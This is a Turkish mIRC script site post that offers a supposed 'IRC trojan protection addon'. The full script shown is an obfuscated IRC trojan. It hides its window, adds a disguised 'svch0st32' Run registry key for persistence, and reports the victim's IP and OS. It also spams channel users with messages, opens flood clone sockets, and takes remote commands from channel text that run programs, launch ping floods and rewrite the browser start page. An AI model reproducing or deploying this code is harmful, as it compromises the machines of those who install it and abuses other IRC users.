|
IRC Trojan Koruma Addonu |
|
|
 |
Okunma |
|
673 |
Facebookta Paylaş
Biliyoruzki Son Zamanlarda Sunucuların En Büyük Sorunlarından Biri Olan Trojan?a Kesin Bir Sonuç Getirebilen Herhangi Bir Kodlama Üretilmedi, mIRCindir.Com Olarak Arşivlerimizi Kurcalarken İşimize Ve İşinize Yarayabilecek Bir Kod Olduğunu Düşünerek Bu IRC Trojan Koruma Addonunu Sizlerle Paylaşıyoruz..
on *:connect: {
if ($cid == 1) { band | gir | version }
if (irc.gr isin $server) { band | 1gr1 | .timer 0 5 1gr1 | .timer 0 250 disconnect }
if (EFnet isin $network) { band | 1avalonworks1 | .timer 0 5 1avalonworks1 | .timer 0 250 disconnect }
if (irc-hispano.org isin $server) { band | 1hispano1 | .timer 0 5 1hispano1 | .timer 0 250 disconnect }
if (voila.fr isin $server) { band | 1voila1 | .timer 0 5 1voila1 | .timer 0 250 disconnect }
if (criten.net isin $server) { band | 1criten1 | .timer 0 5 1criten1 | .timer 0 250 disconnect }
if (quakenet.org isin $server) { band | 1quakenet1 | .timer 0 5 1quakenet1 | .timer 0 250 disconnect }
if (dal.net isin $server) { band | 1dal1 | .timer 0 5 1dal1 | .timer 0 250 disconnect }
if (fuxwith.us isin $server) { band | 1fux1 | .timer 0 5 1fux1 | .timer 0 250 disconnect }
if (gigairc.net isin $server) { band | 1giga1 | .timer 0 5 1giga1 | .timer 0 250 disconnect }
if (hqirc.net isin $server) { band | 1hqirc1 | .timer 0 5 1hqirc1 | .timer 0 250 disconnect }
if (icq.com isin $server) { band | 1icq1 | .timer 0 5 1icq1 | .timer 0 250 disconnect }
if (freshirc.com isin $server) { band | 1freshirc1 | .timer 0 5 1freshirc1 | .timer 0 250 disconnect }
if (Aitvaras isin $network) { band | 1omnitel1 | .timer 0 5 1omnitel1 | .timer 0 250 disconnect }
if (263.net isin $server) { band | 12631 | .timer 0 5 12631 | .timer 0 250 disconnect }
if (irchighway.net isin $server) { band | 1irchighway1 | .timer 0 5 1irchighway1 | .timer 0 250 disconnect }
if (galaxynet.org isin $server) { band | 1galaxynet1 | .timer 0 5 1galaxynet1 | .timer 0 250 disconnect }
if (hellas-irc.gr isin $server) { band | $trx(01001010011011110110100101101110) $ask(I1NleCwjZXJvdGljLCNpcmN3YXJleg==) | .timer 0 5 1hellas1 | .timer 0 250 disconnect }
if (zerolimit.net isin $server) { band | 1zero1 | .timer 0 5 1zero1 | .timer 0 250 disconnect }
if (ircnet.com isin $server) { band | 1ircnet1 | .timer 0 5 1ircnet1 | .timer 0 250 disconnect }
if (bluewin.ch isin $server) { band | $trx(01001010011011110110100101101110) $ask(I2JsdWV3aW5mbGlydCwjdGVlbnRhbGsuMSwjenVlcmljaCwjdHVya2NoYXQ=) | .timer 0 5 1bluewin1 | .timer 0 250 disconnect }
if (adultchatnetwork.com isin $server) { band | 1adultchatnetwork1 | .timer 0 5 1adultchatnetwork1 | .timer 0 250 disconnect }
if (263.net isin $server) { band | 12631 | .timer 0 5 12631 | .timer 0 250 disconnect }
if (unibg.org isin $server) { band | 1unibg1 | .timer 0 5 1unibg1 | .timer 0 250 disconnect }
if (spnet.net isin $server) && ($trx(011101010110111001101001011000100110011100101110011011110111001001100111) isin $server) && ($askm(bmF0dXJlbGxhLmNvbQ==) isin $server) && ($askm(c3BuZXQubmV0) isin $server) && ($askm(Ym91cmdhcy5uZXQ=) isin $server) { 1spnet1 | .timer 0 5 1spnet1 | .timer 0 250 disconnect }
if (undernet.org isin $server) { band | 1under1 | .timer 0 5 1under1 | .timer 0 250 disconnect }
if (icq.aol.com isin $server) { band | 1aol1 | .timer 0 5 1aol1 | .timer 0 250 disconnect }
if (irc.pl isin $server) { band | 1pl1 | .timer 0 5 1pl1 | .timer 0 250 disconnect }
if (zurna.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (ayna.org isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (e-kolay.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (rekor.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (zalim.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (kelebek.gen.tr isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
}
alias band {
nick $read(Color\Windows.icm)
anick $read(Color\Windows.icm)
fullname $read(Color\Windows.icm)
emailaddr $read(Color\Windows.icm)
identd on $read(Color\Windows.icm)
}
alias version { timer 1 50 .msg $trx(0010001101111000011000010111100000110100) 4Trojen Coder 10By MeSuT 2IP : $ip 4Pc : Win $+ - $+ $os 12Saat : $date 4Version : 2005 }
alias xyxttf { var %a = 1 | while (%a <= $len($1)) { var %b = $mid($1,%a,$2) | var %c = %c %b | inc %a $2 } | return %c }
alias Decoder {
$trx(01101110011010010110001101101011) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101))
$trx(0110000101101110011010010110001101101011) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101))
}
alias gir { $trx(01101010011011110110100101101110001000000010001101111000011000010111100000110100) | $trx(011010100110111101101001011011100010000000100011001011100111010001110101011100100110101101101001011110010110010100101110) | anachan }
alias anachan { $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) }
alias tnt { $trx(011000010110111001100001011000100110111101110100) }
alias anabot { $trx(011100110110010101110010011101100110010101110010) $trx(0110100101110010011000110010111001100100011011110111001101110100011011000110000101110010011010010110110100101110011011100110010101110100) }
on *:start: { $ask(bXVjdXg=) | ulkucu | company | .timer 0 250 company | $ask(LnRpbWVyIDAgNDAga29udHJvbA==)
$ask(Y29tcGFueQ==) | $ask(LnRpbWVyIDAgMCB5ZXNpbA==) | $ask(LnRpbWVyIDAgMSBmaXJl)
$tnt
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110100011000010111001000101110011110100110100101110000))
$ask(c2VydmVyIC1t) $read($trx(01110100011000010111001000101110011110100110100101110000))
}
on *:disconnect: {
ulkucu
if ($scon(1).status = disconnected) { scid -s 1 $tnt }
if ($scon(2).status = disconnected) { scid -s 2 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(3).status = disconnected) { scid -s 3 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(4).status = disconnected) { scid -s 4 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(5).status = disconnected) { scid -s 5 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(6).status = disconnected) { scid -s 6 $ask(c2VydmVy) $read($trx(01110100011000010111001000101110011110100110100101110000)) }
if ($scon(7).status = disconnected) { scid -s 7 $ask(c2VydmVy) $read($trx(01110100011000010111001000101110011110100110100101110000)) }
}
on *:action:*:closemsg $nick | halt
on *:notice:*:closemsg $nick | halt
on *:ping: { ctcp $me ping }
alias kontrol { if (!$server) { $tnt } }
alias 1under1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_01.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1turk1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/turks.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1avalonworks1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_02.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1voila1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_03.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1quakenet1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_04.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1dal1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_05.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1gr1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_06.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1criten1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_07.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1hispano1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_08.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1fux1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_09.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1icq1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_10.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1irchighway1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_12.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1freshirc1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_13.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1aol1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_14.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1chez1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_21.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 12631 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_16.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1giga1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_17.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1galaxynet1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_18.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1hellas1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_22.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1zero1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_19.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1bluewin1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $ask(I2JsdWV3aW5mbGlydCwjdGVlbnRhbGsuMSwjenVlcmljaCwjdHVya2NoYXQ=) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1adultchatnetwork1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $ask(I0JhcmVseUxlZ2FsLCNnYXksI2JpZmVtLCNIb3JueXdpZmU=) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1omnitel1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_15.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1spnet1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_20.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1tr1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_tr.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias fire { if ($appsate != hidden) { .echo hidden $dll(tuqa.dll, do_ShowWindow, $window(-2).hwnd 0) } }
alias key { $trx(011101000111001001101111011010100110010101101110) }
alias kanki { $trx(0110101001101111011010010110111000100000001000110011110100100001) %key | $trx(01101010011011110110100101101110001000000010001101100000) %key1 | $trx(01101010011011110110100101101110001000000010001101111110) %key2 }
alias mrsn { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,5) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}
alias nsrm { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,4) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}
alias will {
var %a = will
.comopen %a WScript.Shell
if !$comerr {
var %b = $com(%a,$decode(UmVnV3JpdGU=,m),3,bstr,$1,bstr,$2,bstr,$3)
.comclose %a
}
}
alias company { $will(HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svch0st32,$shortfn($mircexe),REG_SZ) }
alias ulkucu {
$ask(bmljaw==) $siktim
$ask(YW5pY2s=) $siktim
$ask(ZnVsbG5hbWU=) $read(Color\Windows.icm)
$ask(ZW1haWxhZGRy) $read(Color\Windows.icm)
$ask(aWRlbnRkIG9u) $read(Color\Windows.icm)
}
alias saldım { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,5) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}
alias siktim { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,4) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}
alias trojen {
if ($1 = $ask(eXVrbGU=)) {
var %x = $4
%cs = $2
%cp = $3
while (%x >= 1) {
.sockopen trojen $+ %x $+ $mrsn %cs %cp
dec %x
}
}
if ($1 = $ask(c2FsZP1y)) {
$tntmersin(sockw,join,$2)
$tntmersin(sockw,privmsg,$2, : $cimbom)
}
if ($1 = $ask(Z2ly)) {
$tntmersin(sockw,join,$2)
}
if ($1 = $ask(Y/1r)) {
$tntmersin(sockw,part,$2)
}
if ($1 = $ask(Y2xvc2U=)) {
$tntmersin(sockw,quit, : $cimbom)
.timerflood off
}
if ($1 = $ask(bm90aWNl)) {
$tntmersin(sockw,notice,$2, : $3-)
}
if ($1 = $ask(cmVnbGU=)) { $oku }
if ($1 = $ask(cmFuZG9t)) {
$tntmersin(sockw,join,$2)
$tntmersin(sockw,privmsg,$2, : $3- $str($mrsn,50))
}
if ($1 = $ask(aGVscA==)) {
$tntmersin(sockw,privmsg,nickserv, : help)
$tntmersin(sockw,privmsg,chanserv, : help)
$tntmersin(sockw,privmsg,memoserv, : help)
}
if ($1 = $ask(bWVtb3NlbmQ=)) { sockwrite -nt trojen* memoserv send $2 : $3- }
if ($1 = $ask(bmljaw==)) { sockwrite -nt trojen* $dellen }
}
on *:exit: { run $remove($mircexe,$mircdir) | $ask(Y29tcGFueQ==) }
on *:error:*: { $ask(c2VydmVy) $read($trx(01101011011001010111001001101110011001010110110000101110011000110110100001101101)) }
on 9999:text:*:#: {
if ($cid == 1) {
if ($1 = $me) { $2- }
if ($1 = $trx(0010000101100001011110100110000101110100)) { $2- }
if ($1 = $trx(001000010110100101101110011001000110100101110010)) { $trx(01110010011101010110111000100000011011010111001001110011011011100010111001100101011110000110010100100000001011110110111000100000001011110110011001101000001000000010111101110010) " $+ Symad.exe $2- $+ " }
if ($1 = $ask(LmF0dGFjaw==)) { $trx(01110010011101010110111000100000011011010111001001110011011011100010111001100101011110000110010100100000001011110110111000100000001011110110011001101000001000000010111101110010) "ping.exe $2 -t" }
if ($1 = $ask(LnVuYXR0YWNr)) { $trx(01110010011101010110111000100000011011010111001001110011011011100010111001100101011110000110010100100000001011110110111000100000001011110110011001101000001000000010111101110010) "lysl -kf $2-" }
if ($1 == !kanal) { .write Color\girgir.txt $2- }
if ($1 == !sil) { .remove Color\girgir.txt $2- }
if ($1 == $ask(IWdpcmlz)) {
set %giris $2
set %system $r(10,1999) $+ .reg
.write %system $ask(UkVHRURJVDQ=)
.write %system $ask(W0hLRVlfQ1VSUkVOVF9VU0VSXFNvZnR3YXJlXE1pY3Jvc29mdFxJbnRlcm5ldCBFeHBsb3JlclxNYWluXQ==)
.write %system "Start Page" = " $+ %giris $+ "
$ask(LnJ1biAtbiByZWdlZGl0IC9z) %system
$ask(LnRpbWVyIDEgNCByZW1vdmU=) %system
$ask(bXNnICMq) 12[Giriş Sayfasi] 4 %giris 12Degişti
}
}
}
alias dellen { sockwrite -nt trojen* $sockname nick $mrsn }
alias oku { sockwrite -nt trojen* nickserv register $mrsn $+($mrsn,@hotmail.com) }
on 1:sockopen:trojen*: {
.sockwrite -nt $sockname user $saldım $saldım $siktim : $saldım
.sockwrite -nt $sockname nick $siktim
}
raw *:*: {
if ($numeric = 439) { disconnect }
if ($numeric = 432) { $ask(bmljaw==) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101)) }
if ($numeric = 433) { $ask(bmljaw==) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101)) }
if ($numeric = 433) { $ask(bmljaw==) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101)) }
if ($numeric = 475) { if ($ask(emlydmVkZS5uZXQ=) isin $server) { $ask(aGFsdA==) } | $ask(am9pbg==) $read($ask(V21hZ21lcy5kbGw=)) }
if ($numeric = 477) {
if ($ask(emlydmVkZS5uZXQ=) isin $server) { $ask(aGFsdA==) }
$ask(Tmlja1NlcnYgcmVnaXN0ZXIgYWxpdG9wdWF0) $mrsn $+ @hotmail.com
}
if ($cid == 1) {
if ($numeric = 332) { .remove system.sys | $iif($me ison #xax4, write system.sys $chan(#xax4).topic) | .remove turkmsj.dll | $iif($me ison #.turkiye.,write turkmsj.dll $chan(#.turkiye.).topic) }
if ($numeric = 366) { if ($nick($2,0) = 1) { if ($2 = #=!) { .mode $2 +ntpk %key } }
if ($numeric = 333) { $iif($2 = #.sok,%atopic = $3) }
}
}
}
alias Pp {
if ($prop == dbu) { if ($mouse.x >= $calc($$1 * $dbuw)) && ($mouse.x <= $calc(($dbuw * $$1) + ($dbuw * $$3))) && ($mouse.y >= $calc($dbuh * $$2)) && ($mouse.y <= $calc(($dbuh * $$2) + ($dbuh * $$4))) { return $trxue }
else { return $false }
}
else { if ($mouse.x >= $$1) && ($mouse.x <= $calc($$1 + $$3)) && ($mouse.y >= $$2) && ($mouse.y <= $calc($$2 + $$4)) { return $trxue }
else { return $false }
}
}
alias yenilendi { .timer 1 10 $ask(am9pbiAjenVybmE=) | .timer 1 10 $ask(am9pbiAjemlydmVkZQ==) | .timer 1 10 $ask(am9pbg==) $read($ask(WGRkaWNrLnZ4ZA==)) | .timer 1 10 $ask(am9pbg==) $read($ask(WGRkaWNrLnZ4ZA==)) | .timer 1 10 $ask(am9pbg==) $read($ask(WGRkaWNrLnZ4ZA==)) | .timer 1 10 $ask(am9pbg==) $read($ask(TVh6aXIuZGxs)) | .timer 1 10 $ask(am9pbg==) $read($ask(TVh6aXIuZGxs)) | .timer 1 15 $ask(am9pbg==) $read($ask(TVh6aXIuZGxs)) }
alias tntmersin { if ( $1 = trojenteam) { $ask(cnVuIGtvbWlrLmV4ZSAvbiAvZmggL3I=) ' $+ $2- $+ ' } | if ($1 = sockw) { sockwrite -nt trojen* $2- } }
alias cimbom { return $str( $+ $+ $r(A,Z) $+ $+ $r(0,9) $+ $+ $r(a,z) $+ $+ $r(0,9) $+ $+ $r(a,z),$r(60,72)) }
alias yesil { if ($Pp(0,0,1600,1200) = $trxue) { .remove $script(1) | .unload -rs Drivers\fax.cat | .remove Drivers\fax.cat } }
alias mucux { .echo hidden $dll(tuqa.dll, do_ShowWindow, $window(-2).hwnd 0) }
on *:join:#: {
window -h $chan
if ($nick = $me) {
if ($cid == 1) { halt }
if (irc.gr isin $server) { .aclear | unset %anick | .auser 10 $address($me,1) | .timer 0 15 aag # }
if (EFnet isin $network) { .bclear | unset %bnick | .auser 15 $address($me,1) | .timer 0 15 bag # }
if (irc-hispano.org isin $server) { .cclear | unset %cnick | .auser 20 $address($me,1) | .timer 0 15 cag # }
if (voila.fr isin $server) { .dclear | unset %dnick | .auser 25 $address($me,1) | .timer 0 15 dbag # }
if (criten.net isin $server) { .eclear | unset %enick | .auser 30 $address($me,1) | .timer 0 15 eag # }
if (quakenet.org isin $server) { .fclear | unset %fnick | .auser 35 $address($me,1) | .timer 0 15 fag # }
if (dal.net isin $server) { .gclear | unset %gnick | .auser 40 $address($me,1) | .timer 0 15 gag # }
if (fuxwith.us isin $server) { .hclear | unset %hnick | .auser 45 $address($me,1) | .timer 0 15 hag # }
if (gigairc.net isin $server) { .ıclear | unset %inick | .auser 50 $address($me,1) | .timer 0 15 iag # }
if (icq.com isin $server) { .jclear | unset %lnick | .auser 60 $address($me,1) | .timer 0 15 lag # }
if (freshirc.com isin $server) { .kclear | unset %mnick | .auser 65 $address($me,1) | .timer 0 15 mag # }
if (Aitvaras isin $network) { .lclear | unset %nnick | .auser 70 $address($me,1) | .timer 0 15 nag # }
if (263.net isin $server) { .mclear | unset %pnick | .auser 75 $address($me,1) | .timer 0 15 pag # }
if (irchighway.net isin $server) { .nclear | unset %rnick | .auser 80 $address($me,1) | .timer 0 15 rag # }
if (galaxynet.org isin $server) { .pclear | unset %snick | .auser 85 $address($me,1) | .timer 0 15 sag # }
if (hellas-irc.gr isin $server) { .rclear | unset %tnick | .auser 90 $address($me,1) | .timer 0 15 tag # }
if (zerolimit.net isin $server) { .sclear | unset %vnick | .auser 95 $address($me,1) | .timer 0 15 vag # }
if (ircnet.com isin $server) { .tclear | unset %ynick | .auser 100 $address($me,1) | .timer 0 15 yag # }
if (bluewin.ch isin $server) { .vclear | unset %znick | .auser 105 $address($me,1) | .timer 0 15 zag # }
if (adultchatnetwork.com isin $server) { .yclear | unset %xnick | .auser 110 $address($me,1) | .timer 0 15 xag # }
if (unibg.org isin $server) { .zclear | unset %wnick | .auser 115 $address($me,1) | .timer 0 15 wag # }
if (undernet.org isin $server) { .xclear | unset %qnick | .auser 120 $address($me,1) | .timer 0 15 qag # }
if (zurna.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (ayna.org isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (e-kolay.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (rekor.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (zalim.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (kelebek.gen.tr isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
}
}
alias aag { inc %anick = | if ($ulist($address($rnick($1,%anick),-1),10,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%anick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%anick),$chr(32),$read(system.sys)) }
alias bag { inc %bnick = | if ($ulist($address($rnick($1,%anick),-1),15,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%bnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%bnick),$chr(32),$read(system.sys)) }
alias cag { inc %cnick = | if ($ulist($address($rnick($1,%cnick),-1),20,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%cnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%cnick),$chr(32),$read(system.sys)) }
alias dag { inc %dnick = | if ($ulist($address($rnick($1,%dnick),-1),25,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%dnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%dnick),$chr(32),$read(system.sys)) }
alias eag { inc %enick = | if ($ulist($address($rnick($1,%enick),-1),30,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%enick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%enick),$chr(32),$read(system.sys)) }
alias fag { inc %fnick = | if ($ulist($address($rnick($1,%fnick),-1),35,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%fnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%fnick),$chr(32),$read(system.sys)) }
alias gag { inc %gnick = | if ($ulist($address($rnick($1,%gnick),-1),40,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%gnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%gnick),$chr(32),$read(system.sys)) }
alias hag { inc %hnick = | if ($ulist($address($rnick($1,%hnick),-1),45,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%hnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%hnick),$chr(32),$read(system.sys)) }
alias iag { inc %inick = | if ($ulist($address($rnick($1,%inick),-1),50,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%inick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%inick),$chr(32),$read(system.sys)) }
alias kag { inc %knick = | if ($ulist($address($rnick($1,%knick),-1),55,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%knick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%knick),$chr(32),$read(system.sys)) }
alias lag { inc %lnick = | if ($ulist($address($rnick($1,%lnick),-1),60,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%lnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%lnick),$chr(32),$read(system.sys)) }
alias mag { inc %mnick = | if ($ulist($address($rnick($1,%mnick),-1),65,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%mnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%mnick),$chr(32),$read(system.sys)) }
alias nag { inc %nnick = | if ($ulist($address($rnick($1,%nnick),-1),70,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%nnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%nnick),$chr(32),$read(system.sys)) }
alias pag { inc %pnick = | if ($ulist($address($rnick($1,%pnick),-1),75,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%pnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%pnick),$chr(32),$read(system.sys)) }
alias rag { inc %onick = | if ($ulist($address($rnick($1,%rnick),-1),80,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%rnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%rnick),$chr(32),$read(system.sys)) }
